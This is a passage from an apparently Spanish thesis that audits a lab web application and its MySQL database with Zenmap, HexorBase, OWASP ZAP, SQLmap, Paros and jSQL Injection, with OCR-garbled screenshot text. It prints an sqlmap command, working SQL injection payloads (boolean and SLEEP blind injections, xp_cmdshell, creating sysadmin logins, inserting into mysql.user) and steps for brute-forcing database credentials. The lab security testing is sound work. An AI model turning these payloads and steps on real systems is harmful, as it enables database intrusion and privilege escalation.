Filtar Hosts MAC Address: BE:0@:27:0B:9E:26 (0Oracle . |

Fuente: El autor.

En la figura 28 se muestra un resumen de lo encontrado con el escaneo de la
herramienta Zenmap, se puede observar que capturd puertos tcp como por ejemplo
el 8000 del servidor Apache con su respectiva version, el puerto 3306 de MySq|l
donde esta alojada la base de datos y el puerto 1111 para la conexion por SSH,
estos y otros puertos cuando se encuentran abiertos y no se analiza el trafico es
una vulnerabilidad que puede ser explotada y pueden ser aprovechados para
realizar un ataque.
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Figura 28. Resumen escaneo con Zenmap sobre maquina con MySQL

Zenmap e ® 0
Scan Toals Profile Help

Target |192.168.0.10 T Profile: |Intense scan T | |5can|
Command: | nmap -T4 -A -v 192 168.0.10

 —
Hosts || Senvices Mmap Output = Porls 7 Hosts | Topology | Host Detalls — Scans

os Host — Part Protocal State Semice Version

o 192.168.0.00 ST i S L
@ 110 ctp apen - pop3
a8 118 tep apen nnitp
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0 514 ip filtered - shell
@ 563  tcp open  tcpwrapped
S G5BT tep afien SUbImisSon
@ 002 tep open  tcpwrapped
@ 98 tep apen  topwrappes
& 1111 tp open - 55h Open55H 5.3 {protocol 2.00 g
@ 3306 tp apen - mysql MySaL 5.1.73
& BDDD ic P open I|I||| .|1|14|In— h".[lll 2.2.15 {{CentD5))

Fllser Hosts I

Fuente: El autor

6.1.1.2 HEXORBASE sobre MySQL. Es una aplicacion de base de datos disefiada
para la administracion y la auditoria de varios servidores de bases de datos de forma
simultanea desde una ubicacién centralizada, es capaz de realizar consultas SQL y
ataques de fuerza bruta contra servidores de bases de datos MySQL, SQLite,
Microsoft SQL Server, Oracle y PostgreSQL®. En la figura 29 se muestra la interfaz
del programa ejecutandose desde kali Linux.

Figura 29. Interfaz de Hexorbase sobre MySQL

HexorBase 00
Database Servers.
PostgreSO)
m [
ORACLE’ q
MySsaL ‘!!@
L
Connected AP ks nat nstalied Psycopg 2.4.2
?.\Ql,lrc S cerver
SQtte versian: 26 Pymssq 102
Administration
f Username
Password:
>
Audit Database Servers
‘ Bruteforce Database Servers

5 http://ehacking.com.bo/hexorbase-excelente-herramienta-de-auditoria-y-
administracion-de-multiples-bases-de-datos/.

55



Fuente: El autor.

Se puede realizar un ataque de fuerza bruta para conseguir el usuario y la
contrasefa de acceso. Primero se selecciona MySql, se hace clic en User Listy se
carga diccionario de usuarios al igual que el Word List para cargar diccionario de
contrasefias, se realiza el atague y se observa como resultado que MySql tiene
restringido el acceso a la base de datos por el puerto 3306 si no se tiene permiso
respectivo. En la figura 30 se muestra el resultado del ataque después de haber
colocado los parametros indicados anteriormente.

Figura 30. Atague de fuerza bruta con Hexorbase sobre MySQL

A
. MySsoL

Fuente: El autor.

Es importante aclarar que el DBMS de MySql no permite todas las conexiones por
este puerto, es un aspecto positivo de este gestor de base de datos. Para solucionar
este inconveniente en la conexion y probar la herramienta hexorbase, desde MySq|
se asigna el respectivo permiso a esta direccién IP y se realiza nuevamente el
ataque. En la figura 31 se observa el ataque con resultado positivo.
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Figura 31. Ataque con Hexorbase resultado usuario y contrasefia sobre MySQL
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Fuente: El autor.
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Con el usuario y contrasefia se puede acceder desde Hexorbase a la base de datos
y realizar consultas y transacciones en la base de datos como se muestra en la

figura 32.

Figura 32. Ingreso a la base de datos MySql con Hexorbase
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Fuente: El autor.
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57



Asi como se puede observar las tablas y sus datos, es posible seleccionar la lista
de usuarios de mysgl como se muestra en la figura 33 y ejecutar comandos de
inyeccion, cambiar datos etc.

Figura 33. Listado de usuarios de MySq|!
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Fuente: EL autor.
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Hexorbase permite también generar reportes y exportarlos en html para una mejor
visualizacion, asi como lo muestra la figura 34 se generé un reporte sobre los datos

encontrados.

Figura 34. Reporte de Hexorbase en html sobre MySQL
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Fuente: El autor.

6.1.2 Pruebas de Inyeccion SQL sobre MySQL. Una vez identificado el acceso al
puerto de comunicacion con MySQL, asi como el resultado positivo de ataque con
Hexorbase, se utilizaron cuatro herramientas para hacer las pruebas de ataque de
inyeccion SQL: Owasp Zap, SQLmap, Paros y Jsql Injection obteniendo resultados
positivos con excepcion de Jsql Injection que después de varios intentos no mostré
ningun resultado.

6.1.2.1 Owasp Zap sobre MySQL. Se ejecuta la herramienta owaspzap en kali, para
realizar el ataque como lo indica la figura 35.

Figura 35. Ejecucion de OWASP ZAP sobre MySQL

ELECTRODUITAMA LTDA - Mozilla Firefox

192.16B.0.8 fi OWASP ZAP e e o

e Mo s S OWASP ZAP

Ingresar al sistema I e Q‘
Cot o -

ZA&7 Tipz ard Treks:

Neew ta ZAPT

Download tha 'Gatting Started with ZAP' gquda from tha ZAP
Markstpacs,

IHFU. Iritiala sension-tprancilargcReques
INFO: Iritialzing Inn-ttp2ansll argeResp
INFO: bl ang Exsnsion LipTanelfecusstQuer

biaiew L
INFO: Iritialzing Estanslon-Ftp2anclSyntax-igrlight TextViaw Y
INFO: Iritealang Stetistics ey

Fuente: El autor

La herramienta identific6 nueve alertas agrupadas por el respectivo nombre del
ataque, la descripcion y la posible solucion. En este caso para la pagina Web Electro
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Duitama como se muestra en la figura 36, se encontraron cinco alertas entre las
cuales estan: Falla por inyeccion SQL, exploracion de directorios, manipulacion de
pardmetros, activacion de opciones X-Frame que puede traer riesgos de ataques
de clickjacking, el sitio tiene activo la opcion de autocompletar cuando se ingresa
password, se puede obtener la direccion del servidor de alojamiento de la pagina
web, no se tiene activo en el sitio la proteccion contra ataques XSS entre otros.

Figura 36. Resultado obtenido con OWASPZAP sobre MySQL

Sesi6n sin Nombre - OWASP ZAP 2.5.0 (O ]
Archivo Editar Wer Analizar Reporte Herramientas Online Ayuda
Modo estandar | Edmi: & 0 o 0D &y @ N EkE 9
@ sitios | 4 rk;, Inicio Rapido #T =v Peticién T Respuestas m
eLz= - 2
v 5 Contexts URL a atacar: http://172.16.25.131:8000/WebElectroduitama
[&] Default Context | Atacar |
" @ Rsitios Progreso: Ataque completo - vea los problemas encontrados en la pestaﬁaL

Para un analisis mas en profundidad de la prueba se debe explorar la aplicacio

Si usted estd usando Firefox 24,0 o superior puede usar 'Plug-n-Hack' para cor

Wer el archivo de ayuda para obtener mas informacién. o
1
<\ J T
[ = Historia | & Buscar [ FUalertas # | || salida | # spider(Arafia) | 2 Escaneo Activo | = |
Qe Aqui se mostrara el detalle completo de cualquier alerta seleccio
¥ & Alertas (9) nada.
> [.'i'w Falla por Inyeccién SQL (2)
> [ Exploracién de Directorios Puede afiadir alertas de forma manual haciendo clic con el botén
» (& ™ Manipulando Parametros (2) derecho sobre cualquier entrada en el historial y seleccionando "
> [ﬁ')-‘X-Frame-Optmna Header Not Set (39) Afiadir alerta".
15 Cross-Domain JavaScript Source File Inclusion (24)
» (i~ Password Autocomplete in Browser (3) También puede editar las alertas existentes haciendo doble clic s
» [ # Private IP Disclosure (5) obre ellas.
» (B * Web Browser XSS Protection Mot Enabled (39)
» [ 7 X-Content-Type-Options Header Missing (39)
Alertas W1 W3 (U5 MO /i, ZAP out of date! Escaneo actual 440 €0 2 0 @0 #o 0 o

Fuente: El autor

En la figura 37 se muestra el resultado encontrado por falla de inyeccion SQL, se
detectd un archivo en directorio admin, el cual permite que el parametro nick pueda
ser manipulado utilizando condiciones booleanas (ZAP’ AND ‘1’='1") y (ZAP’ OR
‘1’="1"), es una vulnerabilidad que puede retornar datos dependiendo el codigo
utilizado en el parametro.
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Figura 37. Fallas por Inyeccién SQL sobre MySQL

F

Editar Alerta [x]
Falla por Inyeccién sqQU r-"\
URL: http://172.16.25.139:8000/WebELectroduitama/admin
Riesgo: | High
Confidence: | Medium
Parametro:  nick
Atague: ZAP'OR'l'="1" -
Evidencia:
CWE ID:
WASC ID:

Descripcion:

Inyeccion SQL puede ser posible.

Otra info:

Los resultados de la pagina se manipularon con éxito utilizando
condiciones booleanas [ZAP' AND '1'='1' - | y [ZAP' OR '1'="1" -
Elwvalor de parametro que esta modificado fue eliminado de la ¢

R S T B
Solucion:

No confie en los valores de entrada del lado del cliente, incluso

el lado del cliente se realice una validacién.

En general, comprobar todos los datos de entrado en el servido
IR

I P T e PR e P e L b e — b -

Referencia:

https:/iwww. owasp. orgfindex.php/Top_10_2010-al f
https:iwww. owasp. orgfindex.php/SQL_Injection_Prevention_Chez -

[ Cancelar ][ Guardar ]

Fuente: el autor

Teniendo en cuenta que se detecté como vulnerabilidad dos fallas por inyeccion
SQL, se realizé un ataque de inyeccion utilizando la opcion spider del owasp zap.
Se cargaron los ficheros por defecto que trae la herramienta para hacer los ataques
de inyeccién SQL o payloads como se indica en la figura 38.
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Figura 38. Payload de inyecciéon SQL de OWASP ZAP sobre MySQL

EmliF FEAL -

N Add Payload (]

Tipo: |File Fuzers _v]
Archivos: ¥ []5qL Injection N [
[WActive SQL Injection [

[]MS SqL Injection i

[¥fIMs SQL Ninja Injection (Blind)

[MysqL Injection (Blind)

[#IMysqL Injection 101

[MIMySQL/MS SQL Common Injection

[loracle SQL Injection

[¥]Passive SQL Injection

[¥5qQL Injection v

Payloads Preview: | Active SQL Injection
1: % exec master..xp_cmdshell 'ping 10.10.1.2'-- )

2: create user name identified by 'passl23
3: create user name identified by pass123 temporary ta
4: ', drop table temp --
5: exec sp_addlogin 'name’ | 'password'
6: exec sp_addsrvrolemember 'name’, 'sysadmin’
7: insert into mysqgl.user (user, host, password) values ('
8: grant connect to name; grant resource to name;
9: insert into users(login, password, level) values( char((
M5 SQL Injection i
1 a
2'ori=1 - 'y
- . \ v,
Cancelar | | Afiadir | F
t

En la figura 39 se muestra el resultado obtenido al realizar el ataque con la opcién
fuzzer. En la parte izquierda de la figura se encuentra el arbol de consultas, alli se
ubicé el archivo donde fue detectada la vulnerabilidad, en este caso sobre el archivo
login.php, en la parte derecha se muestran las opciones de peticién y respuesta
hacia el servidor, indicando los valores por paradmetro para el usuario y contrasefa
de acceso al aplicativo. El resultado del fuzzer muestra 28.561 sentencias SQL de
las cuales fueron positivas 31 o con respuesta del servidor.
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Figura 39. Resultados de ataque con inyeccion SQL sobre MySQL

r

Sesién sin Nombre - OWASP ZAP 2.5.0 e M® 0
Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda
|Modoesténder v) 1E M g & O XE DB OCDE &Y @PF P 0 XE @

& Sitios | 4= [ 4 Inicio Rapido | = Peticién | Respuestas= | 4

e HE3 |Header: vista Raw \'] | Cuerpo:vista Raw \‘] ==

¥ P wWebELectroduitama POST http://172.16.25.139:8000/WebElectroduitama/admin/login.php &
] P # GET:Index.html HTTP/1.1
Y& madmin User-Agent: Mozilla/5.0 (Windows NT 6.3; WOMNS4; rv:39.0) Gecko/
T . 20100101 Firefox/39.8
| ] P GET:login.php Pranma. na-rarha b4
Y& R # WebElectroduitama nick=ZAP:password=ZAP:submit=Ingresar
|| U # GET:Index.html
v P #admin
B ™ : PosT:login.phpinick,ps
<
[ = Historia T , Buscar T ¥ Alertas T | salida T %% Spider{Arafia) T ) Escaneo Activo TG Fuzzer = & -
{4 New Fuzzer - Progreso: | 0: HTTP - http://172.16... adminflogin.php [v| 11 100% < Current fuzmers:0 20
Messages Sent: 28561 Errors: 0 /. Show Errors
Task ID | Mess... | Code Reas.. |RTT | Size Resp. H... | Size Re.., | Hi... | Estado 4| Payloads |@|
2 200 OK 3 55 byt... # Reflected ' exec master.xp_cmdshell 'ping 10.10.1...
36 Fumed 200 OK 1... 200 bytes 855 byt... i Reflected ' exec master.xp_cmdshell 'ping 10.10.1...
196 Fuzed 200 OK 1... 200 bytes 855 byt... i Reflected create user name identified by 'pass123', 1
205 Fuzed 200 OK 7. 200 bytes 855 byt... i/ Reflected create user name identified by 'pass123', 1
534 Fuzmed 200 OK 8.. 200 bytes 855 byt... i Reflected ', drop table temp -, 1
543 Fuzed 200 OK 8.. 200 bytes 855 byt... i Reflected ' drop table temp - 1
703 Fuzed 200 OK 1... 200 bytes 855 byt... i Reflected exec sp_addlogin 'name' |, 'password’, 1
712 Fuzed 200 OK 1... 200 bytes 855 byt... i/ Reflected exec sp_addlogin 'name' , 'password', 1
872 Fumed 200 OK 1... 200 bytes 855 byt... i Reflected exec sp_addsrvrolemember 'name’ | 'sysa...
881 Fuzed 200 OK 1... 200 bytes 855 byt... i Reflected exec sp_addsrvrolemember 'name’ | 'sysa...
1.041 Fuzed 200 OK 1... 200 bytes 855 byt... i Reflected insert into mysql.user (user, host, passw...
M arcacs mn maa ™~ Wmam o E dean R —— _|«‘.~.. Bl A % on Fua dEba o diba

Fuente: el autor.

En la figura 40 se muestra otro ejemplo de inyeccion SQL con los payloads cargados
de la herramienta. Se envio una peticion al servidor de insercion de datos a la base
de datos en la tabla de usuarios.

Figura 40. Inyeccidén SQL insercién a la tabla usuarios sobre MYSQL

Archivo Editar Ver Analizar Reporte Herramientas Online Ayuda
Modoesténder My 1 E M EH & A XE EEE ODEDE &V @ P P 0 XERE @

@ sitios | 4 { 47 Inicio Répido T = FENCI{'N\T Respuestaé= | 4=

QELEE [Header: vista Raw _ ¥] [cuerpoivistaraw  w] [ [
|| P # GET:robots.txt 2| |POST http://172.16.25.139: 8000/WebElectroduitanasadnin/login.php | &
|| P # GET:sitemap.xml HTTP/1.1 il
| m % GET:dashboard g;%éﬁ‘gi“; M$21}:1i;/§‘0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/
= [ mwebELectroduitama Pragna: no%(’:::g: ) [
¥ P # WebElectroduitama Cache-Control: no-cache
| P # GET:Index.html Content-Type: application/x-www-form-urlencoded .}
YL [ 8 admin nick=insert into mysql.user (user, host, password) values ('name’, '

B ™ : POST:login.php(nick, b localhost', password('passl23'))Epassword=agsubmit=Ingresar
|| P # GET:applications.html
|| P # GET:bitnami.css

» [ v #dashboard B
| m % GET:phpmyadmin v
< J T
{ = Historia T EN BuscarT [ alertas T |- salida T ## spider(Arafia) T ) Escaneo Activo TQ Fuzzer & % | 4
4 New Fuzzer ~ Progreso: | 0: HTTP - http://172.16...admin/login.php \v] in m 100% < Current fuzers:0 {o;
Messages Sent: 28561 Errors: 0 /4 Show Errors
Task ID | Mess... | Code |Reas.. | RTT | Size Resp. H... | Size Re... | Hi... | Estado ¥ | Payloads |E
1.201 Fuzed 200 OK 2. 200 bytes 499 byt.., ./ Reflected grant connect to name;: grant resource t... 4
1.215 Fuzed 200 OK 1. 200 bytes i} Reflected grant connect to name; grant resource t... T

1,337 Fuzed 200 bytes

. Reflected
4 Reflected

grant connect to name; grant resource
insert into my

Fuente: el autor
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En la figura 41 se muestra la respuesta del servidor, aunque el parametro se puede
manipular y se envio una insercion de datos a una tabla no se realiz6 la transaccion
solicitada indicando que el usuario no existe en el sistema.

Figura 41. Respuesta a la inyeccion SQL por insercion de datos sobre MySQL

[ % Inicio Rapido T =v Peticion T Respuestae= | 4

|Header: Vista Raw q | Cuerpo:vista Raw q ==

HTTR/L.1 200 OK A
Date: Mon, 27 Mov 2017 14:55:18 GMT T
Server: Apaches2.4.29 (Win32) OpenSsL/1.0.21 PHP/5.6.32 [\
X-Powered-By: PHP/5.6.32 v
Comtont | owath . OCC
<td align="center"=Usuarioc no existente en el
Sistema</td=
=/tr=
<tr=<td=&nbsp;</td=</tr=
<tr align="center"=<td=<a href="../Index html">
Volver</a=</tr=
<tr=
<td bgcolor="#000033"=&nbsp; </td>
=/tr=
</table=<br /=
<b=Warning</b>: mysql_free_result() expects parameter 1 to be
resource, boolean given in <b=
C:xampp\htdocs\WebElectroduitamahadmini\login.php</b> on line <b=>
83</b=<hbr /= v

En la figura 42 se muestra otro tipo de vulnerabilidad encontrada sobre la falta de
filtrado en las cabeceras de las paginas exponiéndose a un posible ataque de clic o
clickjacking.

Figura 42. Vulnerabilidad ataque de clickjacking sobre MySQL
X DWWASP ZAP 4 2] & =r F O

Aplizaticnes = Lugans + THVAEP ZAF
Editar Alerta [}
3 Fra—c 0pters Hzader Mot Soff :\ B
Areaws Sdbar war ang | g, Prps L 921 BRLE BB Wan= setrneiilamamdming e ||
M sslalar . " Rengal [Wedum | | ; F G bl Tm 1
B 5klos | ¥ Canhidunre | Rechum * |
! Sardmat e =l ]
e .
C
Sadaaziac B
- .
CWE ID 1lspac:n [
s 1 |
1| paserpes -
= : ar pokin
| -_-lm:rc[ i Eusc F|
5 @ K4 rame-tpl e Feader s not ercladed e 1 responss o -
@ pronact agarat ‘Clekackdng’ atacks. iLpport tha K-Frama-Ooo
* g Aot as (5)
(@ ™ 5 Frame- SRty -
GET: hrtounlg | St lTe iy
! N l
8t “Hight trremhold this scanner wl not mlert a7 cliert: or senver _
arver rasperas arnakiarchisai2el ook,
125
: o
E [ P e 17 Tasd | Seluc dre . L
4k ||~ L A T
Alatas M0 PRL b4 Hos: modern Wea orowsss suaant the iFra—eOobers HIT= e @0 #o0 S0 #ao

“ Carzela | | Do | TS

Fuente: el autor.
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Otro problema encontrado en aplicacion tiene que ver con la falta de proteccion
frente al XSS, no estan configurados los mecanismos de proteccion frente a esta
vulnerabilidad como se indica en la figura 43.

Figura 43. Vulnerabilidad ataque de XSS sobre MySQL

Editar Alerta o
Wk Erowser 55 Protectior Mot Enablzd EJ :\
LFL: htta:lH2.158.0 & E00d/ ebElectrodantzmatadmindogin pap
Acrgo Low EJ
forfdenca: | Madum =|
Saramelio FJ
Alague
Sudenicla:
Wiz I EEE] _+_|
WASC I 12 5
DRECARSiAr: B
Wik Erowses ¥55 Pratersior = nat enabled, oris dissblad hr_.'lh:
configuraban of L -mS5-Proleclicn” HTTP resposses heacs on the
wal: BArvar
Ortea it

-
The EXE5-Protacton HTTF respense faadar &llows tha wab servarta :
enable ale tie web orowser's 855 protection mechanizm, The L
tal s, aes waulkd atterat to enanls B ¥

- B T
Sakicitm;
=
Enzure that ta wab arowsars ¥55 Ytar Is enatled, by sesting the L]

Cancelar || Guardar

Fuente: El autor.

6.1.2.2 SQLMAP sobre MySQL. Otra herramienta importante de inyeccion SQL es
SQLMAP. En la figura 44 se muestra la configuracion para realizar la inyeccion SQL
a través de SQLMAP, ademas se refleja el resultado de la posibilidad de realizar
una inyeccion sobre el parametro nick.

Figura 44. Ejecucion de SQLMAP sobre MYSQL

root@kali: ~ e e

Archivo Editar Ver Buscar Terminal Ayuda

~# sqlmap -u "http://172.16.25.139:8000/WebElectroduitama/admin/login.php" B
-datas"nick=marbiz.duc&password=123456"

-

{1.0.8.24#dev}

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual conse|
nt is illegal. It is the end user's responsibility to obey all applicable local, state|
and federal laws. Developers assume no liability and are not respensible for any misul
se or damage caused by this program

[*] starting at 13:23:07

sqlmap got a 302 redirect to 'http://172.16.25.139:8000/WebElectroduitama/admin/menuh.
php'. Do you want to follow? [Y/n] y

redirect is a result of a POST request. Do you want to resend original POST data to a
new location? [Y/n] n

13 WARNING] POST parameter 'nick' does not appear dynami
[13:23:26] [INFO] heuristic (basic) test shows that POST parameter 'nick' might be inj
ectable (possible DBMS: 'MySQL')

it looks like the back-end DBMS is "MySQL'. Do you want to skip test payloads specific|
for other DBMSes? [Y/n] n

for the remaining tests, do you want to include all tests for "MySQL' extending provid|
ed level (1) and risk (1) values? [Y/n] y

Fuente: el autor
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Una vez confirmado el parametro nick como vulnerable, SQLMAP realiza otras
sentencias con el fin de recuperar mas datos sobre la base de datos MYSQL como
se muestra en la figura 45.

Figura 45. Ejecucion de sentencias de inyeccion SQL sobre MySQL

root@kali: ~ 06 ¢

Archivo Editar Ver Buscar Terminal Ayuda

[13:24:04] [INFO] POST parameter 'nick' appears to be 'MySQL >= 5.0.12 AND time-
based blind' injectable

injection not exploitable with NULL values. Do you want to try with a random int

eger value for option '--union-char'? [Y/n] vy

POST parameter 'nick’ is vulnerable. Do you want to keep testing the others (if
ny)? [y/N]

Fuente: el autor

Finalmente, en la figura 46 se muestran los resultados de los puntos de inyeccion
realizados, con un total de 6678, ataques a ciegas o Blind SQI Injection utilizando
valores booleanos.

Figura 46. Resultados de la inyeccion SQL con SQLMAP sobre MySQL

root@kali: ~ e e
Archivo EdltarkVer Buscar Terminal Ayuda

it is not recommended to perform extended UNION tests if there is not at least one oth|
er (potential) technique found. Do you want to skip? [Y/n] n

[13:31:13] [WARNING] POST parameter 'password' is not injectable
sqlmap identified the following injection point(s) with a total of 6678 HTTP(s) reques
ts

Parameter: nick (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: nick=marbiz.duc' AND 8124=8124 AND 'fGUS'='fGUS&password=123456

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: nick=marbiz.duc' AND SLEEP(5) AND 'exjv'='exjv&password=123456

[13:31:13] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.6.32, Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12

Fuente: el autor

Con SQLMAP también se obtiene las bases de datos existentes, en la figura 47 se
muestra seis bases de datos almacenadas en el DBMS de MySQL.
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Figura 47. Bases de datos obtenidas con SQLMAP sobre MySQL

root@Kkali: ~ (IO <)
Archivo Editar Ver Buscar Terminal Ayuda
Payload: nick=marbiz.duc' AND SLEEP(5) AND 'HEso'='HEso&password=123456

[14:34:44] [IN the back-end DBMS is MySQL

web server operating system: Windows

eb application technology: PHP 5.6.32, Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12

available databases [6]:
[*] information_schema
[*] mysql

[*] performance schema
[*] phpmyadmin

[*] tesisok

[*] test

[*] shutting down at 14:36:31
= |

Fuente: el autor

6.1.2.3 Paros sobre MySQL. Se utilizé la herramienta Paros que funciona como
un proxy HTTP / HTTPS basado en Java para evaluar la vulnerabilidad de las
aplicaciones web y tiene otras caracteristicas que incluyen arafas, certificado de
cliente, cadena de proxy, escaneo inteligente para inyecciones XSS y la inyeccion
SQL. En la figura 48 se muestra la configuracién como proxy de la herramienta.

Figura 48. Configuracion de Paros sobre MySQL

Untitled Session - Paros - B
Eile Edit View Analyse Report Tools Help
Sites & y Reauest | Resnonse  Tran Y
Sites | Options Q|
v Options
Connection T F——
SR
Authentication Address (eq localhost, 127.0.0.1) localhost
Certificate
View Port (eg 8080) 8080
Trap
Spider ’ :
e Set your browser proxy setting using the above. The http

port and https port must be the same port as above.

OK| | Cancel

History | Spider Alerts Output

Fuente: el autor.
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Una vez realizado el analisis se observa que tiene vulnerabilidad para ataque de
inyeccion SQL sobre los parametros de ingreso de sesion al sitio web, mediante la
peticion POST en los parametros del formulario de captura de datos del usuario
como se muestra en la figura 49.

Figura 49. Ejecucion de Paros sobre MySQL

Untitled Session - Paros ® O
Eile Edit View Analyse Report Tools Help
Sites Request | Response | Trap
v Sites POST http:#/172.16.25,67:8000/WebElectroduitama/admindogin.php HTTP/L.1
Host: 172.16.25.67:8000
v http://172.16.25.67:8000 User-Agent: Mozilla/5.0 (X11; Linux i686; rv45,0) Gecko/20100101 Firefox/45,0 P
v WebElectroduitama aros/3.2.13

Accept: text/html,applicationhtml+xml.applicationsml;q=0.9,4/%q=0.8

GET:Index.html Accept-Language: en-US,en;q=0.5

v admin Referer: http://172.16.25,67:8000/WebElectroduitama/index html
) Connection: keep-alive
GET:button5.swf Content-Type: application/x-www-form-urlencoded
GET:menuh.php Content-Length: 47
POST:login.php(nick,password,|
» images Inick=marbiz. ducé 0rd=123456&submit=Ingresar]

[Raw View v
+ I E
1 GET  httpi/f172,16.25.67:8000/WebElectroduitama/index, html 200 0K 106ms g
4 GET  http:/f172.16.25.67:8000/WebElectroduitamafindex. html 304 Not Modified 15ms
& POST  http://172,16,25.67:8000/WebElectroduitama/adminflogin.php 302 Found 55ms
10 GET  http:/f172.16.25.67:8000/WebElectroduitamafadmin/menuh.php 200 0k 16ms
11 GET  http://172.16,25.67:8000/WebElectroduitama/admin/buttons.swf 200 Ok 18ms

History | Spider | Alerts  Output

Fuente: el autor.

La herramienta Paros también contiene una utilidad llamada spider que permitio
visualizar otras paginas del sitio susceptibles a ataque por inyecciéon SQL, en la
figura 50 se muestra la opcioén spider reflejando los resultados.

Figura 50. Resultados ejecucién Spider de Paros sobre MySQL

Untitled Session - Paros
Eile Edit View Analyse Report Tools Help

Sites 3 Request | Response Trap
I Sites 4 ||GET http://172.16.25.67:8000 HTTP/1.1
v http://172.16.25.67:8000
GET:WebElectroduitama = \W -

URI found during crawl:

http://172.16.25. 67:8000/dashboardfindex html
http://172.16.25.67:8000/applications. html
http://172.16.25.67:8000/dashboard/faq. html
http://172.16.25 67:8000/dashboard/howto html
http://172.16.25 67:8000/dashboard/phpinfa_ php
hitp://172.16.25.67:8000/WebElectroduitama/admin/login.php
http://172.16.25.67:8000/phpmyadmin/
http://172.16.25.67:8000/WebElectroduitama/?C=N; 0=D
http://172.16.25.67:8000/WebElectroduitama/?C=M; 0=A
http://172.16.25.67:8000/WebElectroduitama/?C=5:0=A
http://172.16.25.67:8000/WebElectroduitama/?C=D; 0=A
http://172.16.25.67:8000/WebElectroduitama/
http://172.16.25.67:8000/WebElectroduitamaliframes. html

URI found but out of crawl scope:

http: ffwww. w3, org/TRAxhtm|1/DTD/xhtmll frameset. dtd
https://bitnami. com/stackiwamp

http: ffwww. w3, 0rg/1999/xhtml
https://bitnami.com/stack/mamp

https://bitnami. com/stackilamp

https://community. apachefriends.org
https://www.apachefriends. org/community. html
https:/iwww. facebook com/we.are xampp
https:/itwitter. com/apachefriends

om/+xampp/posts
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Fuente: el autor.
En la figura 51 se muestra la pestafia alerta de la herramienta Paros, alli se pudo
identificar de manera agrupada por nivel alto, medio y bajo las diferentes

vulnerabilidades que tiene el sitio en especial la de inyeccion SQL.

Figura 51. Resultados Inyeccién SQL de Paros sobre MySQL

Untitled Session - Paros e ® 0
File Edit View Analyse Report Tools Help
Sites Request | Response  Trap
v Sites POST http://172.16.25.67:8000/WebElectroduitama/admin/login.php HTTP/1.1 | §
» http://172.16.25.67:8000 nick=marbiz. duc%27INJECTED_PARAMEpassword=1234568&submit=Ingresar
Raw View v
v Alerts
¥ High

¥ SQL Injection
http://172.16.25.67:8000/WebElectroduitama/admin/login.php
* SQL Injection Fingerprinting

http://172.16.25.67:8000/WebElectroduitama/admin/legin.php

¥ Low
» Private IP disclosure
* Medium
» Directory browsing
» Lotus Domino default files
» Parameter tampering
» Password Autocomplete in browser

History | Spider| Alerts | Output

Fuente: el autor.

En la figura 52 se muestra la opcién que tiene Paros para generar reportes sobre
el escaneo realizado y sobre la inyeccion SQL que se pudo realizar sobre MySQL.
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Figura 52. Reporte de Paros sobre MySQL

file:///root/paros/session/LatestScannedReport.htm 5 Search w B + @& =
9 Most Visited v [l Offensive Security " Kali Linux " Kali Docs " Kali Tools EMExploit-DB W Aircrack-ng
Alert Detail
High (Suspicious) SQL Injection Fingerprinting
Description SQL injection may be possble.
URL hitp://172.16.25.67:8000/WebE lectroduitama/admin/iogin. php
Parameter nick=marbiz.duct27INJECTED_P 12
Other information sql
Solution Do ot trust client side input even f there is client side validation. In general,
* If the input string is numeric, type check it
® If the application used JDBC, use P or C: with passed by 7'
« If the application used ASP, use ADO Command Objects with strong type checking and parameterized query.
* If stored procedure or bind varlables can be used, use it for parameter passing into query. Do not just concatenate string into
query in the stored procedure!
* Do not create dynamic SQL query by simple string concatentation.
 Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg it
the application require reading one table orly, grant such access to the application. Avaid using 'sa’ or ‘db-owner’.
Reference ® The OWASP guide at hitp:/muw.owasp.orgidocumentation/guide
* hitp: comiDesktopDefault.aspx?tabid=23
* hitp: ics. i QLinjection.pdf
 For Oracle database, refer to http:/www.Integrigy. QL pdt
High (Suspicious) SQL Injection
Description SQL injection is possible. User parameters submitted will be formulated into a SQL query for database processing. If the query is built

by simple 'string concatenation', it is possible to modify the meaning of the query by carefully crafting the parameters. Depending on the
access right and type of database used, tampered query can be used to retrieve sensitive information from the database or execute
arbitrary code. MS SQL and PostGreSQL, which supports multiple statements, may be exploited if the database access right is mere

Fuente: el autor.

6.1.2.4 j]SQL Injection sobre MySQL

Se utilizo la herramienta de Kali Linux jSQL Injection para realizar otro ataque a la
base de datos de MySQL. En la figura 53 se observa el panel principal de la
herramienta, en la parte superior se ingresa la direccion del sitio web a atacar, en la
parte inferior se selecciona el tipo de base de datos, para este caso MySQL y se

efectla el proceso de inyeccion.

Figura 53. Ejecucion de jSQL Injection sobre MySQL

jSQL Injection (- O -]

File Edit Windows Help
GET http://192.168.0.6:8000/WebElectroduitama/admin/login.php > [~

POST nick=marbiz

Header

i Database | [ Admin page | & File 3
admin

ackoffice

account.asp
account,cfm
account, html
account.php
acct_login
adm.asp
adm.cfm

7 Find admin page(s)
& conscle | £ chunk | @ Einary -

Method url Size Type

. 4 - .

HTTP/1.1 200 OK http://192.168.0.6:8000/WebElectroduitama/admin/lo... 845 text/html: c...

Fuente: el autor.
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Después de varios intentos con la herramienta, y los posibles comodines para
inyectar codigo SQL la inyeccion falla como se muestra en la figura 54.

Figura 54. Resultado de ejecucion de jSQL Injection sobre MySQL

jSQL Injection e e O

Eile Edit Windows Help

GET http://192.168.0.6:8000/WebElectroduitama/adminr/login.php > |+

POST |niclk=marhiz
Hygader i
i Database | .7 Admin page | [T File 3
_admin
backoffice

account.asp
account.cfm
account.html
account.php
acct_login
adm.asp
adm.cfm

42 Find admin page(s)

El console | £ chunk @. Binary % Network A

[15:25:20,348] Connection test. ..
[15:25:20,375] Get insertion character..
[15:25:20,375] No query string
[15:25:33,762] Starting new injection
[15:25:33,762] Connection test...
[15:25:33,804] Get insertion character..
[15:25:33,8084] No query string
[15:25:44,275] Starting new injection
[15:25:44,275] Connection test. ..
[15:25: 44,318] Get insertion character..
[15:25: 44 ,318] No query string

MySQL | ™| = @ TimeBased
Current db - @ Blind
Current user = @ ErrorBased
Authenticated user - @ Normal

Fuente: el autor.

